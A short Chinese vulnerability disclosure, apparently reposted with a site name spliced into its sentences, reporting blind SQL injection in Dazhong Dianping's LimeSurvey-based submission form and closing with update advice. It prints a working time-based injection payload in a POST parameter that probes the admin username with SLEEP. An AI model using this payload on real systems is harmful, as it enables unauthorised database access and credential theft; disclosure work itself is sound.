大众点评团购合作提交页面使用的是一个开源的调查程序LimeSurvey,涛涛电脑知识网,其实对这个程序稍微关注的筒子都会知道这个程序有几个注入的洞洞,刚好最近闲来无事时试了下,还真发现有sql注入的问题。
详细说明:通过网上通用的sql注入点扫描程序,找到了几个可能存在sql注入问题的入口,同时结合网上关于LimeSurvey的漏洞信息,很轻松就找到了几个注入点。
在页面提交时。修改post修改的信息,插入sql盲注语句。
fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003%7C17165X6X18SQ001` = NULL WHERE id=6 AND id IN ( SELECT IF ( (SELECT SUBSTRING(users_name,1) FROM lime_users WHERE uid=1) LIKE 'a%', 1, SLEEP(5)))--%7Csrid
MULTI17165X6X18=8
整个过程就不列出来了,sql盲注的漏洞,涛涛电脑知识网,其实官方最新版本已经修复。
修复方法:
更新程序了,或者修改存在漏洞的代码。